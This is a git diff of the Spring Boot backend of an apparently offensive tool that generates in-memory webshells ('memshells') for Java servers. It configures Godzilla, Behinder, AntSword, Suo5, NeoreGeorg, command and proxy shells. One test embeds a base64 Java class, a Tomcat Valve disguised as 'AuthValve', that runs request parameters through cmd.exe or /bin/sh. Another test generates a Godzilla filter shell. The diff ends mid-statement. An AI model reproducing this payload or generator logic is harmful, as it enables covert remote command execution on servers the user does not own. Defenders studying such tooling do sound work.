import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestBody;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/11/10
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
@CrossOrigin("*")
|
||||||
|
public class ClassNameParseController {
|
||||||
|
|
||||||
|
@PostMapping("/api/className")
|
||||||
|
public String className(@RequestBody String classBase64) {
|
||||||
|
return ClassNameReader.getClassName(new ClassReader(Base64.getDecoder().decode(classBase64)));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -2,7 +2,6 @@ package com.reajason.javaweb.boot.controller;
|
|||||||
|
|
||||||
import com.reajason.javaweb.boot.vo.CommandConfigVO;
|
import com.reajason.javaweb.boot.vo.CommandConfigVO;
|
||||||
import com.reajason.javaweb.memshell.ServerFactory;
|
import com.reajason.javaweb.memshell.ServerFactory;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
|
||||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
@@ -18,7 +17,7 @@ import java.util.*;
|
|||||||
* @since 2024/12/13
|
* @since 2024/12/13
|
||||||
*/
|
*/
|
||||||
@RestController
|
@RestController
|
||||||
@RequestMapping("/config")
|
@RequestMapping("/api/config")
|
||||||
@CrossOrigin("*")
|
@CrossOrigin("*")
|
||||||
public class ConfigController {
|
public class ConfigController {
|
||||||
|
|
||||||
@@ -27,7 +26,8 @@ public class ConfigController {
|
|||||||
Map<String, List<String>> servers = new LinkedHashMap<>();
|
Map<String, List<String>> servers = new LinkedHashMap<>();
|
||||||
List<String> supportedServers = ServerFactory.getSupportedServers();
|
List<String> supportedServers = ServerFactory.getSupportedServers();
|
||||||
for (String supportedServer : supportedServers) {
|
for (String supportedServer : supportedServers) {
|
||||||
Set<String> supportedShellTypes = ServerFactory.getServer(supportedServer).getShellInjectorMapping().getSupportedShellTypes();
|
Set<String> supportedShellTypes = ServerFactory.getServer(supportedServer)
|
||||||
|
.getShellInjectorMapping().getSupportedShellTypes();
|
||||||
servers.put(supportedServer, supportedShellTypes.stream().toList());
|
servers.put(supportedServer, supportedShellTypes.stream().toList());
|
||||||
}
|
}
|
||||||
return servers;
|
return servers;
|
||||||
@@ -46,16 +46,13 @@ public class ConfigController {
|
|||||||
List<String> supportedServers = ServerFactory.getSupportedServers();
|
List<String> supportedServers = ServerFactory.getSupportedServers();
|
||||||
for (String supportedServer : supportedServers) {
|
for (String supportedServer : supportedServers) {
|
||||||
AbstractServer server = ServerFactory.getServer(supportedServer);
|
AbstractServer server = ServerFactory.getServer(supportedServer);
|
||||||
if (server == null) {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
Map<String, Set<String>> map = new LinkedHashMap<>(16);
|
Map<String, Set<String>> map = new LinkedHashMap<>(16);
|
||||||
for (ShellTool shellTool : server.getSupportedShellTools()) {
|
for (String shellTool : server.getSupportedShellTools()) {
|
||||||
Set<String> supportedShellTypes = server.getSupportedShellTypes(shellTool);
|
Set<String> supportedShellTypes = server.getSupportedShellTypes(shellTool);
|
||||||
if (supportedShellTypes.isEmpty()) {
|
if (supportedShellTypes.isEmpty()) {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
map.put(shellTool.name(), supportedShellTypes);
|
map.put(shellTool, supportedShellTypes);
|
||||||
}
|
}
|
||||||
coreMap.put(supportedServer, map);
|
coreMap.put(supportedServer, map);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -8,8 +8,8 @@ import com.reajason.javaweb.memshell.config.InjectorConfig;
|
|||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
import com.reajason.javaweb.packer.AggregatePacker;
|
import com.reajason.javaweb.packer.AggregatePacker;
|
||||||
|
import com.reajason.javaweb.packer.JarPacker;
|
||||||
import com.reajason.javaweb.packer.Packer;
|
import com.reajason.javaweb.packer.Packer;
|
||||||
import com.reajason.javaweb.packer.jar.JarPacker;
|
|
||||||
import org.springframework.web.bind.annotation.*;
|
import org.springframework.web.bind.annotation.*;
|
||||||
|
|
||||||
import java.util.Base64;
|
import java.util.Base64;
|
||||||
@@ -19,7 +19,7 @@ import java.util.Base64;
|
|||||||
* @since 2024/12/18
|
* @since 2024/12/18
|
||||||
*/
|
*/
|
||||||
@RestController
|
@RestController
|
||||||
@RequestMapping("/memshell/generate")
|
@RequestMapping("/api/memshell/generate")
|
||||||
@CrossOrigin("*")
|
@CrossOrigin("*")
|
||||||
public class MemShellGeneratorController {
|
public class MemShellGeneratorController {
|
||||||
@PostMapping
|
@PostMapping
|
||||||
@@ -29,12 +29,12 @@ public class MemShellGeneratorController {
|
|||||||
InjectorConfig injectorConfig = request.getInjectorConfig();
|
InjectorConfig injectorConfig = request.getInjectorConfig();
|
||||||
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||||
Packer packer = request.getPacker().getInstance();
|
Packer packer = request.getPacker().getInstance();
|
||||||
|
if (packer instanceof AggregatePacker) {
|
||||||
|
return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
|
||||||
|
}
|
||||||
if (packer instanceof JarPacker) {
|
if (packer instanceof JarPacker) {
|
||||||
return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig())));
|
return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig())));
|
||||||
} else if (packer instanceof AggregatePacker) {
|
|
||||||
return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
|
|
||||||
} else {
|
|
||||||
return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
|
|
||||||
}
|
}
|
||||||
|
return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -15,7 +15,7 @@ import org.springframework.web.bind.annotation.*;
|
|||||||
* @since 2025/8/10
|
* @since 2025/8/10
|
||||||
*/
|
*/
|
||||||
@RestController
|
@RestController
|
||||||
@RequestMapping("/probe/generate")
|
@RequestMapping("/api/probe/generate")
|
||||||
@CrossOrigin("*")
|
@CrossOrigin("*")
|
||||||
public class ProbeShellGeneratorController {
|
public class ProbeShellGeneratorController {
|
||||||
@PostMapping
|
@PostMapping
|
||||||
|
|||||||
@@ -22,7 +22,7 @@ import java.util.Map;
|
|||||||
*/
|
*/
|
||||||
@RestController
|
@RestController
|
||||||
@CrossOrigin("*")
|
@CrossOrigin("*")
|
||||||
@RequestMapping("/version")
|
@RequestMapping("/api/version")
|
||||||
public class VersionController {
|
public class VersionController {
|
||||||
|
|
||||||
@Value("${spring.application.version}")
|
@Value("${spring.application.version}")
|
||||||
|
|||||||
@@ -1,16 +1,70 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
|
import jakarta.servlet.http.HttpServletResponse;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import org.springframework.core.io.ClassPathResource;
|
||||||
|
import org.springframework.http.ResponseEntity;
|
||||||
import org.springframework.stereotype.Controller;
|
import org.springframework.stereotype.Controller;
|
||||||
|
import org.springframework.util.FileCopyUtils;
|
||||||
import org.springframework.web.bind.annotation.GetMapping;
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.InputStreamReader;
|
||||||
|
import java.nio.charset.StandardCharsets;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/19
|
* @since 2024/12/19
|
||||||
*/
|
*/
|
||||||
@Controller
|
@Controller
|
||||||
|
@Slf4j
|
||||||
public class ViewController {
|
public class ViewController {
|
||||||
@GetMapping("/")
|
@GetMapping("/")
|
||||||
public String index(){
|
public String index(){
|
||||||
return "index";
|
return "redirect:/ui";
|
||||||
|
}
|
||||||
|
|
||||||
|
@GetMapping({"/api/search", "/api/search.data"})
|
||||||
|
@ResponseBody
|
||||||
|
public String handleSearch(HttpServletRequest request, HttpServletResponse response) {
|
||||||
|
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
|
||||||
|
String relativePath = fullPath.substring(1);
|
||||||
|
return renderFileData(relativePath, response);
|
||||||
|
}
|
||||||
|
|
||||||
|
@GetMapping("/ui/**")
|
||||||
|
@SneakyThrows
|
||||||
|
public Object handleView(HttpServletRequest request, HttpServletResponse response) {
|
||||||
|
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
|
||||||
|
if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) {
|
||||||
|
return "index";
|
||||||
|
}
|
||||||
|
String docPath = fullPath.substring(4);
|
||||||
|
if (docPath.endsWith(".data")) {
|
||||||
|
return ResponseEntity.ok(renderFileData(docPath, response));
|
||||||
|
}
|
||||||
|
return docPath + "/index";
|
||||||
|
}
|
||||||
|
|
||||||
|
private String renderFileData(String relativePath, HttpServletResponse response) {
|
||||||
|
try {
|
||||||
|
String templatePath = "templates/" + relativePath;
|
||||||
|
ClassPathResource resource = new ClassPathResource(templatePath);
|
||||||
|
if (!resource.exists()) {
|
||||||
|
response.setStatus(HttpServletResponse.SC_NOT_FOUND);
|
||||||
|
return "File not found: " + relativePath;
|
||||||
|
}
|
||||||
|
InputStreamReader reader = new InputStreamReader(
|
||||||
|
resource.getInputStream(),
|
||||||
|
StandardCharsets.UTF_8
|
||||||
|
);
|
||||||
|
return FileCopyUtils.copyToString(reader);
|
||||||
|
} catch (IOException e) {
|
||||||
|
response.setStatus(HttpServletResponse.SC_INTERNAL_SERVER_ERROR);
|
||||||
|
return "Error reading file: " + e.getMessage();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -2,9 +2,9 @@ package com.reajason.javaweb.boot.dto;
|
|||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.*;
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import com.reajason.javaweb.utils.CommonUtil;
|
|
||||||
import lombok.Data;
|
import lombok.Data;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
|
||||||
|
import static com.reajason.javaweb.memshell.ShellTool.*;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -18,11 +18,12 @@ public class MemShellGenerateRequest {
|
|||||||
private Packers packer;
|
private Packers packer;
|
||||||
|
|
||||||
@Data
|
@Data
|
||||||
static class ShellToolConfigDTO {
|
public static class ShellToolConfigDTO {
|
||||||
private String shellClassName;
|
private String shellClassName;
|
||||||
private String godzillaPass;
|
private String godzillaPass;
|
||||||
private String godzillaKey;
|
private String godzillaKey;
|
||||||
private String commandParamName;
|
private String commandParamName;
|
||||||
|
private String commandTemplate;
|
||||||
private String behinderPass;
|
private String behinderPass;
|
||||||
private String antSwordPass;
|
private String antSwordPass;
|
||||||
private String headerName;
|
private String headerName;
|
||||||
@@ -36,43 +37,50 @@ public class MemShellGenerateRequest {
|
|||||||
return switch (shellConfig.getShellTool()) {
|
return switch (shellConfig.getShellTool()) {
|
||||||
case Godzilla -> GodzillaConfig.builder()
|
case Godzilla -> GodzillaConfig.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.pass(StringUtils.defaultIfBlank(shellToolConfig.getGodzillaPass(), CommonUtil.getRandomString(8)))
|
.pass(shellToolConfig.getGodzillaPass())
|
||||||
.key(StringUtils.defaultIfBlank(shellToolConfig.getGodzillaKey(), CommonUtil.getRandomString(8)))
|
.key(shellToolConfig.getGodzillaKey())
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
.headerValue(shellToolConfig.getHeaderValue())
|
||||||
.build();
|
.build();
|
||||||
case Behinder -> BehinderConfig.builder()
|
case Behinder -> BehinderConfig.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.pass(StringUtils.defaultIfBlank(shellToolConfig.getBehinderPass(), CommonUtil.getRandomString(8)))
|
.pass(shellToolConfig.getBehinderPass())
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
.headerValue(shellToolConfig.getHeaderValue())
|
||||||
.build();
|
.build();
|
||||||
case Command -> CommandConfig.builder()
|
case Command -> CommandConfig.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8)))
|
.paramName(shellToolConfig.getCommandParamName())
|
||||||
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
|
.headerValue(shellToolConfig.getHeaderValue())
|
||||||
|
.template(shellToolConfig.getCommandTemplate())
|
||||||
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
|
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
|
||||||
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
|
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
|
||||||
.build();
|
.build();
|
||||||
case Suo5 -> Suo5Config.builder()
|
case Suo5, Suo5v2 -> Suo5Config.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
.headerValue(shellToolConfig.getHeaderValue())
|
||||||
.build();
|
.build();
|
||||||
case AntSword -> AntSwordConfig.builder()
|
case AntSword -> AntSwordConfig.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.pass(StringUtils.defaultIfBlank(shellToolConfig.getAntSwordPass(), CommonUtil.getRandomString(8)))
|
.pass(shellToolConfig.getAntSwordPass())
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
.headerValue(shellToolConfig.getHeaderValue())
|
||||||
.build();
|
.build();
|
||||||
case NeoreGeorg -> NeoreGeorgConfig.builder()
|
case NeoreGeorg -> NeoreGeorgConfig.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
.headerValue(shellToolConfig.getHeaderValue())
|
||||||
.build();
|
.build();
|
||||||
case Custom -> CustomConfig.builder()
|
case Custom -> CustomConfig.builder()
|
||||||
.shellClassBase64(shellToolConfig.getShellClassBase64())
|
.shellClassBase64(shellToolConfig.getShellClassBase64())
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.build();
|
.build();
|
||||||
|
case Proxy -> ProxyConfig.builder()
|
||||||
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
|
.headerValue(shellToolConfig.getHeaderValue())
|
||||||
|
.shellClassName(shellToolConfig.shellClassName).build();
|
||||||
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
|
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -21,7 +21,7 @@ public class ProbeShellGenerateRequest {
|
|||||||
private String server;
|
private String server;
|
||||||
private String sleepServer;
|
private String sleepServer;
|
||||||
private String reqParamName;
|
private String reqParamName;
|
||||||
private String reqHeaderName;
|
private String commandTemplate;
|
||||||
}
|
}
|
||||||
|
|
||||||
public ProbeContentConfig parseProbeContentConfig() {
|
public ProbeContentConfig parseProbeContentConfig() {
|
||||||
@@ -35,7 +35,7 @@ public class ProbeShellGenerateRequest {
|
|||||||
.build();
|
.build();
|
||||||
case ResponseBody -> ResponseBodyConfig.builder()
|
case ResponseBody -> ResponseBodyConfig.builder()
|
||||||
.reqParamName(probeContentConfig.reqParamName)
|
.reqParamName(probeContentConfig.reqParamName)
|
||||||
.reqHeaderName(probeContentConfig.reqHeaderName)
|
.commandTemplate(probeContentConfig.commandTemplate)
|
||||||
.server(probeContentConfig.server)
|
.server(probeContentConfig.server)
|
||||||
.build();
|
.build();
|
||||||
default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod());
|
default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod());
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
package com.reajason.javaweb.boot.entity;
|
package com.reajason.javaweb.boot.entity;
|
||||||
|
|
||||||
import lombok.Data;
|
|
||||||
import lombok.Builder;
|
import lombok.Builder;
|
||||||
|
import lombok.Data;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
@@ -1,4 +1,7 @@
|
|||||||
spring:
|
spring:
|
||||||
application:
|
application:
|
||||||
name: boot
|
name: boot
|
||||||
version: ${version}
|
version: ${version}
|
||||||
|
mvc:
|
||||||
|
pathmatch:
|
||||||
|
matching-strategy: ant_path_matcher
|
||||||
@@ -0,0 +1,18 @@
|
|||||||
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/11/10
|
||||||
|
*/
|
||||||
|
class ClassNameParseControllerTest {
|
||||||
|
@Test
|
||||||
|
void test(){
|
||||||
|
ClassNameParseController classNameParseController = new ClassNameParseController();
|
||||||
|
String className = classNameParseController.className("yv66vgAAADIAiAEALG9yZy9hcGFjaGUvaHR0cC93ZWIvaGFuZGxlcnMvSUZOdnAvQXV0aFZhbHZlBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAGW9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmUHAAUBAAlwYXJhbU5hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAhndmR1amx2YwgACQEABG5leHQBABtMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsBAAY8aW5pdD4BAAMoKVYMAA0ADgoABAAPAQAGaW52b2tlAQBSKExvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXF1ZXN0O0xvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXNwb25zZTspVgEAE2phdmEvaW8vSU9FeGNlcHRpb24HABMBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24HABUBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwAXDAAHAAgJAAIAGQEAJW9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1JlcXVlc3QHABsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwAHQAeCgAcAB8BAAhnZXRQYXJhbQwAIQAeCgACACIBAA5nZXRJbnB1dFN0cmVhbQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvaW8vSW5wdXRTdHJlYW07DAAkACUKAAIAJgEAJm9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1Jlc3BvbnNlBwAoAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsMACoAKwoAKQAsAQARamF2YS91dGlsL1NjYW5uZXIHAC4BABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMAA0AMAoALwAxAQACXEEIADMBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsMADUANgoALwA3AQAUKClMamF2YS9sYW5nL1N0cmluZzsMAAsAOQoALwA6AQATamF2YS9pby9QcmludFdyaXRlcgcAPAEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAA+AD8KAD0AQAEAD3ByaW50U3RhY2tUcmFjZQwAQgAOCgAYAEMBAAdnZXROZXh0AQAdKClMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsMAEUARgoAAgBHDAARABILAAYASQEAE2phdmEvbGFuZy9FeGNlcHRpb24HAEsBABBqYXZhL2xhbmcvU3RyaW5nBwBNAQATamF2YS9pby9JbnB1dFN0cmVhbQcATwEAB29zLm5hbWUIAFEBABBqYXZhL2xhbmcvU3lzdGVtBwBTAQALZ2V0UHJvcGVydHkMAFUAHgoAVABWAQALdG9Mb3dlckNhc2UMAFgAOQoATgBZAQAGd2luZG93CABbAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAF0AXgoATgBfAQAHY21kLmV4ZQgAYQEAAi9jCABjAQAHL2Jpbi9zaAgAZQEAAi1jCABnAQATW0xqYXZhL2xhbmcvU3RyaW5nOwcAaQEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgcAawEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYMAA0AbQoAbABuAQATcmVkaXJlY3RFcnJvclN0cmVhbQEAHShaKUxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7DABwAHEKAGwAcgEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7DAB0AHUKAGwAdgEAEWphdmEvbGFuZy9Qcm9jZXNzBwB4AQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMACQAegoAeQB7DAALAAwJAAIAfQEAB3NldE5leHQBAB4oTG9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmU7KVYBABBpc0FzeW5jU3VwcG9ydGVkAQADKClaAQARYmFja2dyb3VuZFByb2Nlc3MBAA1Db25zdGFudFZhbHVlAQAEQ29kZQEADVN0YWNrTWFwVGFibGUBAApFeGNlcHRpb25zACEAAgAEAAEABgACAAgABwAIAAEAhAAAAAIACgAAAAsADAAAAAgAAQANAA4AAQCFAAAAEQABAAEAAAAFKrcAELEAAAAAAAEAEQASAAIAhQAAAGYABAAFAAAARCorsgAatgAgtwAjTi3GACMqLbcAJzoELLYALbsAL1kZBLcAMhI0tgA4tgA7tgBBsacACE4ttgBEKrYASCssuQBKAwCxAAEAAAAvADMAGAABAIYAAAAIAAMwQgcAGAQAhwAAAAYAAgAUABYAAgAhAB4AAQCFAAAADgABAAIAAAACK7AAAAAAAAIAJAAlAAIAhQAAAJMABAAEAAAAWipNK04AAacAA00SUrgAV7YAWhJctgBgmQAYBr0ATlkDEmJTWQQSZFNZBStTpwAVBr0ATlkDEmZTWQQSaFNZBStTTrsAbFkttwBvBLYAc7YAd7YAfE2nAAMssAAAAAEAhgAAACcABv0ABAcAAgcATv8ABAACBwACBwBOAAEHAFD8AAAHAFAkUQcAahYAhwAAAAQAAQBMAAEARQBGAAEAhQAAABEAAQABAAAABSq0AH6wAAAAAAABAH8AgAABAIUAAAASAAIAAgAAAAYqK7UAfrEAAAAAAAEAgQCCAAEAhQAAAA4AAQABAAAAAgOsAAAAAAABAIMADgABAIUAAAANAAAAAQAAAAGxAAAAAAAA");
|
||||||
|
assertEquals("org.apache.http.web.handlers.IFNvp.AuthValve", className);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -26,31 +26,22 @@ public class ConfigControllerIntegrationTest {
|
|||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void testConfigEndpoint() {
|
public void testConfigEndpoint() {
|
||||||
ResponseEntity<Map> response = restTemplate.getForEntity("/config", Map.class);
|
ResponseEntity<Map> response = restTemplate.getForEntity("/api/config", Map.class);
|
||||||
|
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
|
assertNotNull(response.getBody());
|
||||||
Map body = response.getBody();
|
|
||||||
assertNotNull(body);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void testConfigServersEndpoint() {
|
public void testConfigServersEndpoint() {
|
||||||
ResponseEntity<Map> response = restTemplate.getForEntity("/config/servers", Map.class);
|
ResponseEntity<Map> response = restTemplate.getForEntity("/api/config/servers", Map.class);
|
||||||
|
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
|
assertNotNull(response.getBody());
|
||||||
Map body = response.getBody();
|
|
||||||
assertNotNull(body);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void testConfigPackersEndpoint() {
|
public void testConfigPackersEndpoint() {
|
||||||
ResponseEntity<List> response = restTemplate.getForEntity("/config/packers", List.class);
|
ResponseEntity<List> response = restTemplate.getForEntity("/api/config/packers", List.class);
|
||||||
|
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
|
assertNotNull(response.getBody());
|
||||||
List<String> body = response.getBody();
|
|
||||||
assertNotNull(body);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,58 @@
|
|||||||
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.boot.dto.MemShellGenerateRequest;
|
||||||
|
import com.reajason.javaweb.boot.dto.MemShellGenerateResponse;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
import org.springframework.beans.factory.annotation.Autowired;
|
||||||
|
import org.springframework.boot.test.context.SpringBootTest;
|
||||||
|
import org.springframework.boot.test.web.client.TestRestTemplate;
|
||||||
|
import org.springframework.http.HttpStatus;
|
||||||
|
import org.springframework.http.ResponseEntity;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/9/16
|
||||||
|
*/
|
||||||
|
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
|
||||||
|
class MemShellGeneratorControllerTest {
|
||||||
|
|
||||||
|
@Autowired
|
||||||
|
TestRestTemplate restTemplate;
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void generateShell() {
|
||||||
|
MemShellGenerateRequest request = new MemShellGenerateRequest();
|
||||||
|
request.setShellConfig(ShellConfig.builder()
|
||||||
|
.server(Server.Tomcat)
|
||||||
|
.shellType(ShellType.FILTER)
|
||||||
|
.shellTool(ShellTool.Godzilla)
|
||||||
|
.shrink(true)
|
||||||
|
.debug(true)
|
||||||
|
.serverVersion("Unknown")
|
||||||
|
.targetJreVersion(50)
|
||||||
|
.build());
|
||||||
|
request.setInjectorConfig(InjectorConfig.builder()
|
||||||
|
.urlPattern("/*")
|
||||||
|
.build());
|
||||||
|
request.setPacker(Packers.ScriptEngine);
|
||||||
|
MemShellGenerateRequest.ShellToolConfigDTO shellToolConfigDTO = new MemShellGenerateRequest.ShellToolConfigDTO();
|
||||||
|
shellToolConfigDTO.setGodzillaKey("key");
|
||||||
|
shellToolConfigDTO.setGodzillaPass("pass");
|
||||||
|
shellToolConfigDTO.setHeaderName("User-Agent");
|
||||||
|
shellToolConfigDTO.setHeaderValue("hello");
|
||||||
|
request.setShellToolConfig(shellToolConfigDTO);
|
||||||
|
ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
|
||||||
|
